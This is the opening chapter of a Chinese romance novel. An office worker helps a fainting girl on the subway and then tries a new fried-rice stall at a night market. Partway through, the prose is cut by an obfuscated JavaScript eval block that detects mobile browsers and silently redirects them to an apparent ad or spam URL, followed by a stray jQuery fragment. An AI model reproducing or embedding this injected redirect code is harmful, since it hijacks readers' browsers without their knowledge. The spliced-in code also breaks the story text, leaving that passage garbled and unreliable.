1. 铁板炒饭
作品:《芒果绵绵冰》 末班地铁呼啸着驶离站台。
车厢内座无虚席,几乎都是刚下班的社畜。每个人脸上满是倦意,要么闭眸小憩,要么麻木地刷着短视频亦或双眼放空,享受短暂的灵魂出逃。
余可芒在这群人中像个异类。
她坐在车厢门旁边,双目炯炯有神,盯着手机屏幕挑选一会儿要去的餐厅。将家附近的餐厅翻来覆去看了好几遍,仍未找到心仪的餐厅。
距离目的地还有三站,肚子突然叫嚣起来,她将拳头抵在腹部,迅速打开外卖软件,打算今晚先对付一口,明天再出门寻找美食,犒劳自己。
然而,外卖软件的饭菜实在无法激起她的食欲。想到自己连续加班一周,午晚餐都是外卖解决,说什么也不想在美妙的周五晚上,委屈自己的胃。
余可芒抬眸看向地铁线路图,琢磨着提前下地铁,在附近找家餐厅。手上也没闲着,从黄白条纹的帆布袋里取出一颗硬糖,打算暂时性安抚叫嚣的肚子。
还没撕开糖果包装,猛然想起地铁车厢禁止饮食。
她叹了声气,眼巴巴地盯着硬糖,查找美食的动力荡然无存,脑海里只有一道声音:赶紧下车,我要吃掉它!
视线再次转到地铁线路图,期望着赶快到达下一站,余光突然瞥到一道充满渴望的视线正盯着她——手中的硬糖。
视线的主人是个身材高挑,打扮酷飒的女生,看着二十出头的年纪,眼神清澈,完全不懂得掩饰情绪。
余可芒感到纳闷,她从未碰到过对硬糖如此渴望的人,正思索着如何将硬糖恰到好处的送给对方,便看到女生舍下脚边的烟灰色登山包,径直朝自己走来。
女生双腿哆哆嗦嗦,眼睛直愣愣地盯着硬糖。余可芒察觉到异常,正欲起身,女生突地摔了过来。好在她反应迅速,立刻扶住女生的肩膀。
女生声若蚊蝇:“糖——”
余可芒在乘客的帮助下,将她扶到座位,顾不得禁止饮食的规定,迅速撕开包装,将硬糖塞进女生嘴里。
清新的苹果味钻入鼻腔,随着味道渐渐消散,女生逐渐恢复意识。她眨巴着眼睛扫了圈周围,跟帮忙的乘客道了声谢,随后将目光挪到余可芒脸上:“我刚刚低血糖犯了,谢谢你噢,要不是你,我小命难保。”
女生用词夸张,余可芒笑着摇摇头,唇边漾起好看的梨涡。
地铁到站,周围乘客陆续下车,余可芒顺势坐到旁边,从帆布袋里抓了一把口味各异的硬糖、巧克力、士力架以及其他小零食,一股脑塞到女生怀里。
女生瞪大眼睛,看着怀中的一大堆糖果,想起去年万圣节都没要到这么多。她惊讶得忘记说谢谢,愣愣地问:“你刚去超市了吗?”
“……”当然不是。
这只是余可芒的常规操作罢了。
小时候,她无论在家还是外出,父母担心她饿肚子,总会提前准备许多食物。久而久之,便养成习惯,她会在公司、出租屋、随身带的包里备有各种零食。
简短解释后,女生一脸羡慕:“我妈只会让我少吃点。”
女生是个自来熟,将零食放进登山包,便主动介绍自己。
她叫章绮,是本地人,跟余可芒在同一地铁站下车,家却不在附近。据她说,自己是逃难来投奔亲戚的。
鉴于她习惯性的夸张用词,想必逃难和投奔亲戚都要打上双引号。
两人十分聊得来,共同话题很多。
说起美食,章绮兴奋道:“夜市有家新开的铁板炒饭,超级无敌好吃。今天你救了我的小命,还送了这么多零食,我请你吃饭呗。”
余可芒对附近美食如数家珍,夜市更是三天两头光顾,最近倒没有看见新开的铁板炒饭。
以她对美食的敏感度,不可能没有注意到。唯一的可能性,便是铁板炒饭是加班这几天开的。
找不到美食的阴霾,一扫而空。
余可芒道:“请客就不用了,不介意的话,我们一起去吧。”
“好呀好呀。”
余可芒喜欢结交朋友,尤其是能一起享受美食的朋友,当即跟章绮互加微信。
两人走出地铁站,欲往夜市走去,章绮接到一通电话,简短的几声应答后,脸明显垮下来。
她挂断电话,抱歉道:“我要在这里等亲戚来接,今晚应该去不了夜市。”
余可芒看出章绮的无奈,并没有因为爽约而恼怒,而是安抚性地说:“等你有空了再约。”
她的皮肤白皙莹润,长相甜美,齐刘海下的一双眼睛,圆溜溜的,像脆甜多汁的紫葡萄。眼里满是笑意,看着人畜无害,让人无端想要亲近。
甜美的笑容瞬间瓦解章绮内心的不安。
两人道别后,余可芒步行回家,路过热闹的夜市,想到章绮描述铁板炒饭的模样,心念一动。
突然就想尝尝,章绮口中堪比珍馐的美味。
夜市长约五十米,位于居民区楼下,附近人流量密集,摊贩众多。
余可芒来的次数多,长相和处事都很讨喜,许多摊主对她印象深刻。
原本打算直奔铁板炒饭,然而,刚进入夜市,便被熟识的摊主叫住,热情地招呼她,说她许久没来,今晚想吃点什么。
余可芒看着奶香四溢的梅花糕、麻辣鲜爽的钵钵鸡、照烧章鱼小丸子等美食,脚步倏地顿住。
肚子叫得越来越欢,她索性买了几份小吃。
余可芒站在梅花糕摊前,边等边跟摊主沈阿姨聊天,得知铁板炒饭异常火爆,开业当天便排起长队,当即决定先吃梅花糕,填饱肚子,其他食物等买完炒饭再来吃。
毕竟在饥饿状态下,很难客观评价铁板炒饭的味道。
吃完梅花糕,她按照沈阿姨的提示,朝夜市尽头走去。隔着老远便看到铁板炒饭摊前排起了长龙,里面年轻人居多,纷纷拿起手机拍照,嘴里夸赞着老板的帅气。
这种现象,余可芒只在网红店见过。
队伍里也有不少务实派,凑在一起讨论菜品的搭配,以及如何最大限度装满筐子。
余可芒没有着急排队,而是走到摊位旁边,打算观察一番再做决定。
她吃过的铁板炒饭很多,这家并没有新奇的地方,常规的餐车上面放着铁板、调料以及十几种配菜。不过是比别家装饰好看些,配菜丰富点。
令她奇怪的是,摊前排着这么长的队伍,竟没人炒饭。餐车后面倒是站着一位厨师装扮的年轻男孩,看着跟章绮岁数差不多,拘谨地看向余可芒。
面对探寻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107958|163978||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的目光,他主动解释:“想吃炒饭需要在那边排队,老板有事出去了,很快回来。”
“你不能做吗?”
他怔了怔,显然没想到她会这么说,瞬间点头如捣蒜:“能做,你让我做的话,是不用排队的。”
“那就你做吧。”
余可芒对那位素未谋面的老板,没什么好感,她只觉得他们都是冲着颜值来的。华而不实的东西,她不喜欢,就像寻找美食,她更喜欢苍蝇馆子而非装修奢华的高档餐厅。
“好的!”
男孩声音兴奋,他给余可芒递了张彩页,主动介绍道:“我们家的烤肉店即将开业,即日起购买铁板炒饭的顾客,若是挑选的配菜与我们老板挑选的一致,可以获得免单大奖。”
男孩递过来一个小竹筐:“只要筐子能装下,配菜想选多少都可以。”
余可芒看着彩页上面的内容,难怪每份炒饭才十元,配菜还不限量,原来不过是烤肉店的宣传手段。
从琳琅满目的配菜中选了四种,余可芒便扫码付款。
小井干活利索,单手将鸡蛋打在滋滋冒油的铁板上,待蛋白稍微凝固,便用铁铲搅碎,随即加入提前选好的配菜,翻炒过后倒上米饭,经过秘制调料的烹制,粒粒分明的米饭在铁板上自由舞动,香味扑鼻而来。
余可芒在相熟的摊位找了个位置,专心享受面前的炒饭。香气四溢的炒饭瞬间打开味蕾,她迫不及待舀了一勺吃进嘴里,当即被味道折服。
包裹着鸡蛋的香气、蔬菜的清香以及秘制调料的炒饭,锅气十足,让她生出一股幸福感。
幸好她听到章绮的安利,在疲惫的夜晚来到夜市,吃到了这么美味的炒饭,连日来的熬夜加班,让这一刻显得弥足珍贵。
快吃完时,才想起忘记给闻杉拍照了。
闻杉是探店博主,余可芒吃到美食便会安利给她。她打算给闻杉带一份炒饭回家,下一瞬才记起来,今天是闻杉固定去临市找男朋友的日子。
她只好给闻杉发消息,让她回来后一定要来品尝。
闻杉回复很快,两人就铁板炒饭聊了几分钟,闻杉又开始老生常谈的话题:说真的,你也该找个男朋友了。
两人房租还有五个多月到期,之后,闻杉便要搬去临市和男朋友同居。她最近热衷于余可芒的终身大事,时不时便给她介绍对象。
余可芒撇撇嘴,回复:我对男人毫无兴趣,现在最要紧的是找个合适的饭搭子。
她吃完炒饭,有些意犹未尽,坐在低矮的餐桌前,回味方才的美好。
某个瞬间,余光瞥到隔壁摊前站着一个清俊的男人,气质卓然,面前升腾的油烟仿佛冬日的晨雾,而他是在薄雾里的香樟树。
男人穿着白T黑裤,背着一个硕大的登山包,黑色鸭舌帽遮住了大半张脸,从余可芒的角度看过去,只能看到两片薄薄的嘴唇以及完美的下颌线。
单单这两处便让她挪不开视线。
夜市人来人往,热闹非凡。男人置身在人潮中,却不沾染丝毫烟火气。然而,在小吃摊前专心挑选食物的瞬间,又让他奇妙的与环境融为一体。
她迫不及待打开手机,给闻杉发消息:
靠——
我遇到我的天菜了!